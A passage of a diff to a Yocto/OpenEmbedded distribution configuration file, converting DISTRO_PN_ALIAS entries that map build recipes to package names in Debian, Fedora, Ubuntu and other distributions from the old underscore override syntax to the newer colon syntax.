-DISTRO_PN_ALIAS_pn-libclass-isa-perl = "OSPDT"
-DISTRO_PN_ALIAS_pn-libdumpvalue-perl = "OSPDT"
-DISTRO_PN_ALIAS_pn-libenv-perl = "OSPDT"
-DISTRO_PN_ALIAS_pn-liberation-fonts = "Ubuntu=fonts-liberation Fedora=liberation-fonts-ttf"
-DISTRO_PN_ALIAS_pn-libfakekey = "Meego1.0=libfakekey Debian=libfakekey"
-DISTRO_PN_ALIAS_pn-libfile-checktree-perl = "OSPDT"
-DISTRO_PN_ALIAS_pn-libfm-extra = "Opensuse=libfm-extra4 Ubuntu=libfm-extra4"
-DISTRO_PN_ALIAS_pn-libgcc = "Debian=libgcc4 Ubuntu=libgcc1 OpenSuSE=libgcc46"
-DISTRO_PN_ALIAS_pn-libgdbus = "Intel"
-DISTRO_PN_ALIAS_pn-libglade = "Meego=libglade2 Fedora=libglade2 OpenSuSE=libglade2 Ubuntu=libglade2 Mandriva=libglade2.0 Debian=libglade2"
-DISTRO_PN_ALIAS_pn-libglu = "Debian=libglu Ubuntu=libglu Opensuse=mesa-libglu"
-DISTRO_PN_ALIAS_pn-libgu = "OpenSuSE=glu OSPDT"
-DISTRO_PN_ALIAS_pn-libi18n-collate-perl = "OSPDT"
-DISTRO_PN_ALIAS_pn-libical = "Ubuntu=libical Fedora=libical"
-DISTRO_PN_ALIAS_pn-libiconv = "Fedora=mingw-libiconv Opensuse=cross-mingw-libiconv"
-DISTRO_PN_ALIAS_pn-libinput = "Ubuntu=libinput0 Fedora=libinput0"
-DISTRO_PN_ALIAS_pn-libjson = "Ubuntu=libjson0-dev Debian=libjson0-dev"
-DISTRO_PN_ALIAS_pn-libksba = "Fedora=libksba Debian=libksba8 Ubuntu=libksba"
-DISTRO_PN_ALIAS_pn-libmatchbox = "Ubuntu=libmatchbox Fedora=libmatchbox"
-DISTRO_PN_ALIAS_pn-libmpc = "Fedora=libmpc OpenSuse=libmpc2"
-DISTRO_PN_ALIAS_pn-libnewt = "Debian=libnewt0.52 Fedora=newt"
-DISTRO_PN_ALIAS_pn-libnewt-python = "Ubuntu=python-newt Fedora=newt-python"
-DISTRO_PN_ALIAS_pn-libnl = "Mandriva=libnl Fedora=libnl"
-DISTRO_PN_ALIAS_pn-libnss-mdns = "Meego=nss-mdns OpenSuSE=nss-mdns Ubuntu=nss-mdns Mandriva=nss_mdns Debian=nss-mdns"
-DISTRO_PN_ALIAS_pn-libomxil = "OSPDT upstream=http://omxil.sourceforge.net/"
-DISTRO_PN_ALIAS_pn-libowl = "Debian=owl OpenedHand"
-DISTRO_PN_ALIAS_pn-libpam = "Meego=pam Fedora=pam OpenSuSE=pam Ubuntu=pam Mandriva=pam Debian=pam"
-DISTRO_PN_ALIAS_pn-libpcre = "Mandriva=libpcre0 Fedora=pcre"
-DISTRO_PN_ALIAS_pn-libpcre2 = "Fedora=pcre2 Debian=pcre2 Clear=pcre2"
-DISTRO_PN_ALIAS_pn-libpng12 = "Debian=libpng12-0 Fedora=libpng"
-DISTRO_PN_ALIAS_pn-libpod-plainer-perl = "OSPDT"
-DISTRO_PN_ALIAS_pn-libsamplerate0 = "Meego=libsamplerate Fedora=libsamplerate OpenSuSE=libsamplerate Ubuntu=libsamplerate Mandriva=libsamplerate Debian=libsamplerate"
-DISTRO_PN_ALIAS_pn-libsdl2 = "Fedora=sdl2 Opensuse=libsdl2 Ubuntu=libsdl2 Debian=libsdl2"
-DISTRO_PN_ALIAS_pn-libsndfile1 = "Meego=libsndfile Fedora=libsndfile OpenSuSE=libsndfile Ubuntu=libsndfile Mandriva=libsndfile Debian=libsndfile"
-DISTRO_PN_ALIAS_pn-libsoup-2.4 = "Meego=libsoup Fedora=libsoup OpenSuSE=libsoup Ubuntu=libsoup2.4 Mandriva=libsoup Debian=libsoup2.4"
-DISTRO_PN_ALIAS_pn-libtelepathy = "Debian=libtelepathy2 Ubuntu=libtelepathy2"
-DISTRO_PN_ALIAS_pn-libtimedate-perl = "Debian=libtimedate-perl Ubuntu=libtimedate-perl"
-DISTRO_PN_ALIAS_pn-liburcu = "Fedora=userspace-rcu Ubuntu=liburcu0"
-DISTRO_PN_ALIAS_pn-libusb1 = "Debian=libusb-1.0-0 Fedora=libusb1"
-DISTRO_PN_ALIAS_pn-libx11 = "Debian=libx11-6 Fedora=libX11 Ubuntu=libx11-6 OpenSuSE=xorg-x11-libX11"
-DISTRO_PN_ALIAS_pn-libxcalibrate = "OSPDT upstream=http://cgit.freedesktop.org/xorg/lib/libXCalibrate/"
-DISTRO_PN_ALIAS_pn-libxfont2 = "Fedora=libXfont2 Clear=libXfont2"
-DISTRO_PN_ALIAS_pn-libxft = "Mandriva=libxft Debian=libxft2 Ubuntu=libxft2"
-DISTRO_PN_ALIAS_pn-libxi = "Ubuntu=libxi Fedora=libXi"
-DISTRO_PN_ALIAS_pn-libxkbcommon = "Fedora=libxkbcommon Debian=libxkbcommon"
-DISTRO_PN_ALIAS_pn-libxscrnsaver = "Fedora=libXScrnSaver Ubuntu=libxss1 Mandriva=libxscrnsaver"
-DISTRO_PN_ALIAS_pn-linux-dummy = "Intel"
-DISTRO_PN_ALIAS_pn-linux-firmware = "Fedora=linux-firmware Ubuntu=linux-firmware"
-DISTRO_PN_ALIAS_pn-linux-libc-headers = "Debian=linux-kernel-headers Ubuntu=linux-kernel-headers"
-DISTRO_PN_ALIAS_pn-linux-libc-headers-yocto = "Debian=linux-kernel-headers Ubuntu=linux-kernel-headers"
-DISTRO_PN_ALIAS_pn-linux-yocto = "Debian=linux-base Ubuntu=linux"
-DISTRO_PN_ALIAS_pn-linux-yocto-rt = "Debian=linux-base Ubuntu=linux"
-DISTRO_PN_ALIAS_pn-linux-yocto-tiny = "OSPDT"
-DISTRO_PN_ALIAS_pn-ltp = "Mandriva=ltp Ubuntu=ltp"
-DISTRO_PN_ALIAS_pn-lttng-modules = "OSPDT upstream=http://lttng.org/"
-DISTRO_PN_ALIAS_pn-lttng-tools = "OSPDT upstream=http://lttng.org/"
-DISTRO_PN_ALIAS_pn-lttng-ust = "OSPDT upstream=http://lttng.org/"
-DISTRO_PN_ALIAS_pn-lz4 = "Debian=lz4 Fedora=lz4"
-DISTRO_PN_ALIAS_pn-lzo = "Debian=liblzo Ubuntu=liblzo Fedora=lzp"
-DISTRO_PN_ALIAS_pn-mailx = "Debian=bsd-mailx Ubuntu=bsd-mailx"
-DISTRO_PN_ALIAS_pn-makedepend = "Mandriva=makedepend Ubuntu=xutils-dev"
-DISTRO_PN_ALIAS_pn-makedevs = "OE-Core"
-DISTRO_PN_ALIAS_pn-matchbox-config-gtk = "OpenedHand"
-DISTRO_PN_ALIAS_pn-matchbox-desktop = "Mandriva=matchbox-desktop Ubuntu=matchbox-desktop"
-DISTRO_PN_ALIAS_pn-matchbox-desktop-sato = "OpenedHand"
-DISTRO_PN_ALIAS_pn-matchbox-keyboard = "Debian=matchbox-keyboard Fedora=matchbox-keyboard"
-DISTRO_PN_ALIAS_pn-matchbox-panel-2 = "Debian=matchbox-panel Mandriva=matchbox-panel Ubuntu=matchbox-panel"
-DISTRO_PN_ALIAS_pn-matchbox-session = "OpenedHand"
-DISTRO_PN_ALIAS_pn-matchbox-session-sato = "OpenedHand"
-DISTRO_PN_ALIAS_pn-matchbox-terminal = "OpenedHand"
-DISTRO_PN_ALIAS_pn-matchbox-theme-sato = "OpenedHand"
-DISTRO_PN_ALIAS_pn-matchbox-themes-extra = "Ubuntu=matchbox-themes-extra Mandriva=matchbox-themes-extra"
-DISTRO_PN_ALIAS_pn-matchbox-themes-gtk = "OpenedHand"
-DISTRO_PN_ALIAS_pn-matchbox-wm = "OpenedHand"
-DISTRO_PN_ALIAS_pn-menu-cache = "OSPDT"
-DISTRO_PN_ALIAS_pn-mesa = "Fedora=mesa Ubuntu=libgl1-mesa-dri"
-DISTRO_PN_ALIAS_pn-mesa-gl = "Fedora=mesa Ubuntu=libgl1-mesa-dri"
-DISTRO_PN_ALIAS_pn-meta-environment-extsdk-qemux86 = "OE-Core"
-DISTRO_PN_ALIAS_pn-meta-environment-i586 = "OE-Core"
-DISTRO_PN_ALIAS_pn-meta-environment-qemux86 = "OE-Core"
-DISTRO_PN_ALIAS_pn-meta-environment-qemux86-64 = "OE-Core"
-DISTRO_PN_ALIAS_pn-meta-ide-support = "OE-Core"
-DISTRO_PN_ALIAS_pn-meta-toolchain = "OE-Core"
-DISTRO_PN_ALIAS_pn-mini-x-session = "OSPDT"
-DISTRO_PN_ALIAS_pn-mkelfimage = "Ubuntu=mkelfimage Fedora=mkelfimage"
-DISTRO_PN_ALIAS_pn-mkfontdir = "Mandriva=mkfontdir Ubuntu=xfonts-utils Fedora=xorg-x11-font-utils"
-DISTRO_PN_ALIAS_pn-mkfontscale = "Mandriva=mkfontscale Ubuntu=xfonts-utils Fedora=xorg-x11-font-utils"
-DISTRO_PN_ALIAS_pn-mmc-utils = "OE-Core"
-DISTRO_PN_ALIAS_pn-modutils-initscripts = "OE-Core"
-DISTRO_PN_ALIAS_pn-mtd-utils = "Debian=mtd-utils Ubuntu=mtd-utils"
-DISTRO_PN_ALIAS_pn-mx-1.0 = "Ubuntu=mx Debian=mx Fedora=mx"
-DISTRO_PN_ALIAS_pn-neard = "Intel"
-DISTRO_PN_ALIAS_pn-neon = "Fedora=neon Opensuse=neon"
-DISTRO_PN_ALIAS_pn-network-suspend-scripts = "OE-Core"
-DISTRO_PN_ALIAS_pn-nfs-export-root = "OpenedHand"
-DISTRO_PN_ALIAS_pn-npth = "OSPDT"
-DISTRO_PN_ALIAS_pn-nss-myhostname = "Meego=nss-mdns OpenSuSE=nss-mdns Ubuntu=nss-mdns Mandriva=nss_mdns Debian=nss-mdns"
-DISTRO_PN_ALIAS_pn-ofono = "Debian=ofono Ubuntu=ofono"
-DISTRO_PN_ALIAS_pn-oh-puzzles = "OpenedHand"
-DISTRO_PN_ALIAS_pn-opkg = "OSPDT upstream=http://svn.openmoko.org/trunk/src/tar"
-DISTRO_PN_ALIAS_pn-opkg-arch-config = "OE-Core"
-DISTRO_PN_ALIAS_pn-opkg-collateral = "OE-Core"
-DISTRO_PN_ALIAS_pn-opkg-keyrings = "OSPDT upstream=git://git.yoctoproject.org/opkg-utils"
-DISTRO_PN_ALIAS_pn-opkg-nogpg = "OSPDT upstream=git://git.yoctoproject.org/opkg-utils"
-DISTRO_PN_ALIAS_pn-opkg-utils = "OSPDT upstream=git://git.yoctoproject.org/opkg-utils"
-DISTRO_PN_ALIAS_pn-os-release = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-base = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-boot = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-buildessential = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-clutter = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-device-devel = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-eclipse-debug = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-full-cmdline = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-nfs = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-sdk = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-ssh-dropbear = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-ssh-openssh = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-standalone-sdk-target = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-tools = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-tools-debug = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-tools-profile = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-tools-testapps = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-x11 = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-x11-base = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-x11-mini = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-x11-sato = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-x11-xserver = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-cross-canadian-i586 = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-cross-canadian-qemux86 = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-cross-canadian-qemux86-64 = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-sdk-host = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-self-hosted = "OE-Core"
-DISTRO_PN_ALIAS_pn-package-index = "OE-Core"
-DISTRO_PN_ALIAS_pn-patchelf = "Opensuse=patchelf Fedora=patchelf"
-DISTRO_PN_ALIAS_pn-perf = "OSPDT"
-DISTRO_PN_ALIAS_pn-piglit = "OE-Core"
-DISTRO_PN_ALIAS_pn-pkgconfig = "Ubuntu=pkg-config Fedora=pkgconfig"
-DISTRO_PN_ALIAS_pn-pointercal-xinput = "OE-Core"
-DISTRO_PN_ALIAS_pn-pong-clock = "OpenedHand"
-DISTRO_PN_ALIAS_pn-portmap = "Debian=rpcbind Fedora=rpcbind"
-DISTRO_PN_ALIAS_pn-powertop = "Meego=powertop Fedora=powertop Debian=powertop OpenSuSE=powertop Mandriva=powertop"
-DISTRO_PN_ALIAS_pn-ppp-dialin = "OE-Core"
-DISTRO_PN_ALIAS_pn-pseudo = "Windriver"
-DISTRO_PN_ALIAS_pn-psplash = "OpenedHand"
-DISTRO_PN_ALIAS_pn-ptest-runner = "OE-Core"
-DISTRO_PN_ALIAS_pn-pulseaudio-client-conf-sato = "OE-Core"
-DISTRO_PN_ALIAS_pn-puzzles = "Debian=sgt-puzzles Fedora=puzzles"
-DISTRO_PN_ALIAS_pn-python3 = "Fedora=python3 Debian=python3.2"
-DISTRO_PN_ALIAS_pn-python3-iniparse = "Fedora=python-iniparse Debian=python-iniparse"
-DISTRO_PN_ALIAS_pn-python3-pip = "OpenSuSE=python3-pip Debian=python3-pip"
-DISTRO_PN_ALIAS_pn-python3-pycurl = "Fedora=python-pycurl Debian=pycurl"
-DISTRO_PN_ALIAS_pn-python3-pygpgme = "Fedora=python-pygpgme Debian=pygpgme"
-DISTRO_PN_ALIAS_pn-python3-setuptools = "OpenSuSE=python3-setuptools Debian=python3-setuptools"
-DISTRO_PN_ALIAS_pn-python-dbus = "Ubuntu=python-dbus Debian=python-dbus Mandriva=python-dbus"
-DISTRO_PN_ALIAS_pn-python-git = "Debian=python-git Fedora=GitPython"
-DISTRO_PN_ALIAS_pn-python-mako = "Fedora=python-mako Opensuse=python-Mako"
-DISTRO_PN_ALIAS_pn-python-pycairo = "Meego=pycairo Fedora=pycairo Ubuntu=pycairo Debian=pycairo"
-DISTRO_PN_ALIAS_pn-python-pygobject = "Meego=pygobject2 Fedora=pygobject2 Ubuntu=pygobject Debian=pygobject"
-DISTRO_PN_ALIAS_pn-python-scons = "Fedora=scons OpenSuSE=scons Ubuntu=scons Mandriva=scons Debian=scons"
-DISTRO_PN_ALIAS_pn-python-setuptools = "Mandriva=python-setup OpenSuSE=python-setup-git"
-DISTRO_PN_ALIAS_pn-python-smartpm = "Debian=smart OpenSuSE=smart"
-DISTRO_PN_ALIAS_pn-qemu-config = "OpenedHand"
-DISTRO_PN_ALIAS_pn-qemugl = "OpenedHand"
-DISTRO_PN_ALIAS_pn-qemu-helper = "OpenedHand"
-DISTRO_PN_ALIAS_pn-qemuwrapper-cross = "OE-Core"
-DISTRO_PN_ALIAS_pn-readline = "Fedora=readline Debian=readline-common"
-DISTRO_PN_ALIAS_pn-remake = "Mandriva=remake Debian=remake"
-DISTRO_PN_ALIAS_pn-rgb = "Fedora=xorg-X11-server-utils Debian=x11-xserver-utils"
-DISTRO_PN_ALIAS_pn-rpmresolve = "OSPDT"
-DISTRO_PN_ALIAS_pn-rt-tests = "Debian=rt-tests Ubuntu=rt-tests"
-DISTRO_PN_ALIAS_pn-run-postinsts = "OE-Core"
-DISTRO_PN_ALIAS_pn-sato-icon-theme = "OpenedHand"
-DISTRO_PN_ALIAS_pn-sato-screenshot = "OpenedHand"
-DISTRO_PN_ALIAS_pn-sbc = "Fedora=sbc Debian=libsbc1"
-DISTRO_PN_ALIAS_pn-screenshot = "OpenedHand"
-DISTRO_PN_ALIAS_pn-settings-daemon = "OpenedHand"
-DISTRO_PN_ALIAS_pn-sgml-common = "OpenSuSE=sgml-common Fedora=sgml-common"
-DISTRO_PN_ALIAS_pn-sgmlspl = "Debian=sgmlspl Ubuntu=sgmlspl"
-DISTRO_PN_ALIAS_pn-shadow-securetty = "Ubuntu=shadow Fedora=shadow"
-DISTRO_PN_ALIAS_pn-shadow-sysroot = "Ubuntu=shadow Fedora=shadow"
-DISTRO_PN_ALIAS_pn-shutdown-desktop = "OpenedHand"
-DISTRO_PN_ALIAS_pn-speexdsp = "Ubuntu=libspeexdsp1 Fedora=speexdsp"
-DISTRO_PN_ALIAS_pn-stat = "Debian=coreutils Fedora=coreutils"
-DISTRO_PN_ALIAS_pn-stress = "Debian=stress Fedora=stress"
-DISTRO_PN_ALIAS_pn-sysklogd = "Debian=sysklogd Mandriva=sysklogd"
-DISTRO_PN_ALIAS_pn-sysprof = "Fedora=sysprof Debian=sysprof"
-DISTRO_PN_ALIAS_pn-systemd-compat-units = "Fedora=systemd Ubuntu=systemd"
-DISTRO_PN_ALIAS_pn-systemd-systemctl = "OE-Core"
-DISTRO_PN_ALIAS_pn-systemd-systemdctl = "Fedora=systemd Ubuntu=systemd"
-DISTRO_PN_ALIAS_pn-systemtap-uprobes = "Ubuntu=systemtap Debian=systemtap"
-DISTRO_PN_ALIAS_pn-sysvinit-inittab = "OE-Core"
-DISTRO_PN_ALIAS_pn-tar-replacement = "Fedora=tar Ubuntu=tar"
-DISTRO_PN_ALIAS_pn-tcf-agent = "Windriver upstream=http://www.eclipse.org/dsdp/tm/"
-DISTRO_PN_ALIAS_pn-texinfo-dummy-native = "OE-Core"
-DISTRO_PN_ALIAS_pn-tiny-init = "OSPDT"
-DISTRO_PN_ALIAS_pn-tremor = "OSPDT upstream=http://www.xiph.org/vorbis/"
-DISTRO_PN_ALIAS_pn-ttf-bitstream-vera = "Debian=ttf-bitstream-vera Ubuntu=ttf-bitstream-vera"
-DISTRO_PN_ALIAS_pn-tzcode = "OSPDT"
-DISTRO_PN_ALIAS_pn-u-boot-fw-utils = "Ubuntu=u-boot-tools Debian=u-boot-tools"
-DISTRO_PN_ALIAS_pn-u-boot-tools = "Ubuntu=u-boot-tools Debian=uboot-tools"
-DISTRO_PN_ALIAS_pn-udev = "Mandriva=udev Fedora=udev"
-DISTRO_PN_ALIAS_pn-udev-extraconf = "OE-Core"
-DISTRO_PN_ALIAS_pn-unfs3 = "Debian=unfs3 Fedora=unfs3"
-DISTRO_PN_ALIAS_pn-unfs-server = "OE-Core"
-DISTRO_PN_ALIAS_pn-uninative-tarball = "OE-Core"
-DISTRO_PN_ALIAS_pn-update-alternatives-dpkg = "Opensuse=update-alternatives Mandriva=update-alternatives"
-DISTRO_PN_ALIAS_pn-update-rc.d = "OE-Core"
-DISTRO_PN_ALIAS_pn-usbinit = "OE-Core"
-DISTRO_PN_ALIAS_pn-util-macros = "Meego=xorg-x11-util-macros Fedora=xorg-x11-util-macros Mandriva=x11-util-macros"
-DISTRO_PN_ALIAS_pn-v86d = "Debian=v86d Ubuntu=v86d"
-DISTRO_PN_ALIAS_pn-waffle = "OE-Core"
-DISTRO_PN_ALIAS_pn-watchdog = "Debian=watchdog Ubuntu=watchdog Mandriva=watchdog"
-DISTRO_PN_ALIAS_pn-webkitgtk = "Fedora=webkitgtk Ubuntu=libwebkit"
-DISTRO_PN_ALIAS_pn-weston = "Fedora=weston OpenSuSE=weston"
-DISTRO_PN_ALIAS_pn-weston-init = "OE-Core"
-DISTRO_PN_ALIAS_pn-which = "Mandriva=which Fedora=which"
-DISTRO_PN_ALIAS_pn-wpa-supplicant = "Meego=wpa_supplicant Fedora=wpa_supplicant OpenSuSE=wpa_supplicant Ubuntu=wpasupplicant Mandriva=wpa_supplicant Debian=wpasupplicant"
-DISTRO_PN_ALIAS_pn-x11perf = "Fedora=xorg-x11-apps Ubuntu=x11-apps"
-DISTRO_PN_ALIAS_pn-xcb-util-image = "Debian=xcb-util Fedora=xcb-util"
-DISTRO_PN_ALIAS_pn-xcb-util-keysyms = "Debian=xcb-util Fedora=xcb-util"
-DISTRO_PN_ALIAS_pn-xcb-util-wm = "Debian=xcb-util Fedora=xcb-util"
-DISTRO_PN_ALIAS_pn-xcursor-transparent-theme = "OpenedHand"
-DISTRO_PN_ALIAS_pn-xdpyinfo = "Fedora=xorg-x11-utils Ubuntu=x11-utils"
-DISTRO_PN_ALIAS_pn-xev = "Fedora=xorg-x11-utils Ubuntu=x11-utils"
-DISTRO_PN_ALIAS_pn-xeyes = "Ubuntu=x11-apps Fedora=xorg-x11-apps"
-DISTRO_PN_ALIAS_pn-xf86-input-evdev = "Ubuntu=xserver-xorg-input-evdev Mandriva=x11-driver-input-evdev Debian=xserver-xorg-input-evdev Fedora=xorg-x11-drv-evdev Meego=xorg-x11-drv-evdev"
-DISTRO_PN_ALIAS_pn-xf86-input-keyboard = "Meego=xorg-x11-drv-keyboard Fedora=xorg-x11-drv-keyboard Mandriva=x11-driver-input-keyboard Debian=xserver-xorg-input-keyboard"
-DISTRO_PN_ALIAS_pn-xf86-input-mouse = "Ubuntu=xserver-xorg-input-mouse Mandriva=x11-driver-input-mouse Debian=xserver-xorg-input-mouse"
-DISTRO_PN_ALIAS_pn-xf86-input-synaptics = "Meego=xorg-x11-drv-synaptics Fedora=xorg-x11-drv-synaptics Ubuntu=xserver-xorg-input-synaptics Mandriva=x11-driver-input-synaptics Debian=xfree86-driver-synaptics"
-DISTRO_PN_ALIAS_pn-xf86-input-vmmouse = "Fedora=xorg-x11-drv-vmmouse Ubuntu=xserver-xorg-input-vmmouse Mandriva=x11-driver-input-vmmouse Debian=xserver-xorg-input-vmmouse"
-DISTRO_PN_ALIAS_pn-xf86-video-cirrus = "Opensuse=xf86-video-cirrus Debian=xserver-xorg-video-cirrus"
-DISTRO_PN_ALIAS_pn-xf86-video-fbdev = "Ubuntu=xserver-xorg-video-fbdev Debian=xserver-xorg-video-fbdev"
-DISTRO_PN_ALIAS_pn-xf86-video-intel = "Debian=xserver-xorg-video-intel Fedora=xorg-x11-drv-intel Mandriva=x11-driver-video-intel Meego=xorg-x11-drv-intel Ubuntu=xserver-xorg-video-intel"
-DISTRO_PN_ALIAS_pn-xf86-video-modesetting = "Debian=xserver-xorg-video-modesetting Fedora=xf86-video-modesetting"
-DISTRO_PN_ALIAS_pn-xf86-video-omap = "Ubuntu=xf86-video-omap Debian=xf86-video-omap"
-DISTRO_PN_ALIAS_pn-xf86-video-omapfb = "OSPDT"
-DISTRO_PN_ALIAS_pn-xf86-video-vesa = "Debian=xserver-xorg-video-vesa Fedora=xorg-x11-drv-vesa Mandriva=x11-driver-video-vesa Ubuntu=xserver-xorg-video-vesa"
-DISTRO_PN_ALIAS_pn-xf86-video-vmware = "Debian=xserver-xorg-video-vmware Fedora=xorg-x11-drv-vmware Mandriva=x11-driver-video-vmware Ubuntu=xserver-xorg-video-vmware"
-DISTRO_PN_ALIAS_pn-xhost = "Ubuntu=x11-xserver-utils Fedora=xorg-x11-server-utils"
-DISTRO_PN_ALIAS_pn-xinput-calibrator = "Fedora=xinput-calibrator Mandravia=xinput-calibrator Ubuntu=xinput-calibrator"
-DISTRO_PN_ALIAS_pn-xkbcomp = "Ubuntu=x11-xkb-utils Fedora=xorg-x11-xkb-utils"
-DISTRO_PN_ALIAS_pn-xmodmap = "Meego=xorg-x11-utils-xmodmap Fedora=xorg-x11-server-utils Ubuntu=x11-xserver-utils"
-DISTRO_PN_ALIAS_pn-xorg-minimal-fonts = "Ubuntu=xfonts-base Fedora=xorg-x11-fonts-base"
-DISTRO_PN_ALIAS_pn-xorgproto = "OSPDT upstream=http://cgit.freedesktop.org/xorg/proto/xorgproto"
-DISTRO_PN_ALIAS_pn-xprop = "Meego=xorg-x11-utils-xprop Fedora=xorg-x11-utils Ubuntu=x11-utils"
-DISTRO_PN_ALIAS_pn-xproxymanagementprotocol = "Meego=xorg-x11-proto-xproxymanagementprotocol"
-DISTRO_PN_ALIAS_pn-xrandr = "Ubuntu=x11-xserver-utils Fedora=xorg-x11-server-utils"
-DISTRO_PN_ALIAS_pn-xrdb = "Ubuntu=x11-xserver-utils Fedora=xorg-x11-server-utils"
-DISTRO_PN_ALIAS_pn-xserver-nodm-init = "OE-Core"
-DISTRO_PN_ALIAS_pn-xserver-xf86-config = "OE-Core"
-DISTRO_PN_ALIAS_pn-xserver-xf86-dri-lite = "Fedora=xorg-x11-server Ubuntu=xserver-xorg"
-DISTRO_PN_ALIAS_pn-xserver-xf86-lite = "Fedora=xorg-x11-server Ubuntu=xserver-xorg"
-DISTRO_PN_ALIAS_pn-xserver-xorg = "Fedora=xorg-x11-server Ubuntu=xserver-xorg"
-DISTRO_PN_ALIAS_pn-xset = "Fedora=xorg-x11-server-utils Ubuntu=x11-xserver-utils Debian=x11-xserver-utils Opensuse=xorg-x11"
-DISTRO_PN_ALIAS_pn-xuser-account = "OE-Core"
-DISTRO_PN_ALIAS_pn-xvinfo = "Fedora=xorg-x11-utils Ubuntu=x11-utils"
-DISTRO_PN_ALIAS_pn-xwininfo = "Fedora=xorg-x11-utils Ubuntu=x11-utils"
+DISTRO_PN_ALIAS:pn-alsa-state = "OE-Core"
+DISTRO_PN_ALIAS:pn-alsa-utils-alsaconf = "OE-Core"
+DISTRO_PN_ALIAS:pn-alsa-utils-scripts = "OE-Core"
+DISTRO_PN_ALIAS:pn-atk = "Fedora=atk OpenSuSE=atk"
+DISTRO_PN_ALIAS:pn-avahi-ui = "Ubuntu=avahi-discover Debian=avahi-discover"
+DISTRO_PN_ALIAS:pn-babeltrace = "OSPDT"
+DISTRO_PN_ALIAS:pn-babeltrace2 = "OSPDT"
+DISTRO_PN_ALIAS:pn-bjam = "OpenSuSE=boost-jam Debian=bjam"
+DISTRO_PN_ALIAS:pn-blktool = "Debian=blktool Mandriva=blktool"
+DISTRO_PN_ALIAS:pn-bluez5 = "Fedora=bluez Opensuse=bluez"
+DISTRO_PN_ALIAS:pn-bootchart2 = "Fedora=bootchart2 Opensuse=bootchart"
+DISTRO_PN_ALIAS:pn-btrfs-tools = "Debian=btrfs-tools Fedora=btrfs-progs"
+DISTRO_PN_ALIAS:pn-build-appliance-image = "OSPDT"
+DISTRO_PN_ALIAS:pn-builder = "OE-Core"
+DISTRO_PN_ALIAS:pn-buildtools-tarball = "OE-Core"
+DISTRO_PN_ALIAS:pn-cdrtools = "OpenSUSE=cdrtools OSPDT"
+DISTRO_PN_ALIAS:pn-chkconfig-alternatives = "Mandriva=chkconfig Debian=chkconfig"
+DISTRO_PN_ALIAS:pn-connman = "Meego=connman"
+DISTRO_PN_ALIAS:pn-connman-conf = "OE-Core"
+DISTRO_PN_ALIAS:pn-connman-gnome = "Intel"
+DISTRO_PN_ALIAS:pn-console-tools = "Debian=console-tools Ubuntu=console-tools"
+DISTRO_PN_ALIAS:pn-core-image-base = "OE-Core"
+DISTRO_PN_ALIAS:pn-core-image-full-cmdline = "OE-Core"
+DISTRO_PN_ALIAS:pn-core-image-kernel-dev = "OE-Core"
+DISTRO_PN_ALIAS:pn-core-image-minimal = "OE-Core"
+DISTRO_PN_ALIAS:pn-core-image-minimal-dev = "OE-Core"
+DISTRO_PN_ALIAS:pn-core-image-minimal-initramfs = "OE-Core"
+DISTRO_PN_ALIAS:pn-core-image-minimal-mtdutils = "OE-Core"
+DISTRO_PN_ALIAS:pn-core-image-rt = "OE-Core"
+DISTRO_PN_ALIAS:pn-core-image-rt-sdk = "OE-Core"
+DISTRO_PN_ALIAS:pn-core-image-sato = "OE-Core"
+DISTRO_PN_ALIAS:pn-core-image-sato-dev = "OE-Core"
+DISTRO_PN_ALIAS:pn-core-image-sato-sdk = "OE-Core"
+DISTRO_PN_ALIAS:pn-core-image-testcontroller = "OE-Core"
+DISTRO_PN_ALIAS:pn-core-image-testcontroller-initramfs = "OE-Core"
+DISTRO_PN_ALIAS:pn-core-image-weston = "OE-Core"
+DISTRO_PN_ALIAS:pn-core-image-x11 = "OE-Core"
+DISTRO_PN_ALIAS:pn-createrepo-c = "Fedora=createrepo_c Clear=createrepo_c"
+DISTRO_PN_ALIAS:pn-cross-localedef = "OSPDT"
+DISTRO_PN_ALIAS:pn-cryptodev-linux = "OE-Core"
+DISTRO_PN_ALIAS:pn-cryptodev-module = "OE-Core"
+DISTRO_PN_ALIAS:pn-cryptodev-tests = "OE-Core"
+DISTRO_PN_ALIAS:pn-cwautomacros = "OSPDT upstream=http://cwautomacros.berlios.de/"
+DISTRO_PN_ALIAS:pn-db = "Debian=db5.1 Ubuntu=db5.1"
+DISTRO_PN_ALIAS:pn-dbus-test = "Fedora=dbus Ubuntu=dbus"
+DISTRO_PN_ALIAS:pn-dbus-wait = "OpenedHand"
+DISTRO_PN_ALIAS:pn-depmodwrapper-cross = "OE-Core"
+DISTRO_PN_ALIAS:pn-distcc = "Debian=distcc Fedora=distcc"
+DISTRO_PN_ALIAS:pn-distcc-config = "OpenedHand"
+DISTRO_PN_ALIAS:pn-docbook-dsssl-stylesheets = "Fedora=docbook-style-dsssl Ubuntu=docbook-dsssl"
